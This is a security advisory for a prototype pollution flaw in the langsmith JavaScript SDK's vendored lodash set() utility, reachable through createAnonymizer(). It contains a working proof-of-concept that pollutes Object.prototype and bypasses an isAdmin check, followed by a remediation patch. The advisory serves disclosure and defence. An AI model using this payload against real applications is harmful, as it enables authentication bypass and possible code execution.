CVE-2026-40190 — langsmith

GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk

Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18

Summary

The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.

Affected Products

Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.

Root Cause

The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:

function baseAssignValue(object: Record<string, any>, key: string, value: any) {
  if (key === "__proto__") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value: value, writable: true,
    });
  } else {
    object[key] = value;  // ← No guard for "constructor" or "prototype" keys
  }
}

This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":

1. castPath() splits it into ["constructor", "prototype", "polluted"]
2. baseSet() iterates: obj.constructor → Object → Object.prototype
3. assignValue(Object.prototype, "polluted", value) calls baseAssignValue()
4. Key is "polluted" (not "__proto__"), so the guard is bypassed
5. Object.prototype.polluted = value — all objects are polluted

Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys
2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95)
3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

{
  wrapper: {
    "constructor.prototype.isAdmin": "contains-secret-pattern"
  }
}

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

Proof of Concept

import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([
  { pattern: "secret", replace: "[REDACTED]" }
]);

console.log("BEFORE:", ({}).isAdmin);  // undefined

const maliciousInput = {
  wrapper: {
    "constructor.prototype.isAdmin": "this-is-secret-data"
  }
};

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin);   // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin);     // "this-is-[REDACTED]-data"

function checkAccess(user) {
  if (user.isAdmin) return "ACCESS GRANTED";
  return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" }));  // "ACCESS GRANTED" ← BYPASSED

Impact

Prototype pollution in a Node.js process can enable:

1. Authentication bypass — if (user.isAdmin) checks succeed on all objects
2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks
3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects
4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

function baseAssignValue(object, key, value) {
  if (key === "__proto__" || key === "constructor" || key === "prototype") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value, writable: true,
    });
  } else {
    object[key] = value;
  }
}

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

Timeline

Credits

Reported by: OneThing4101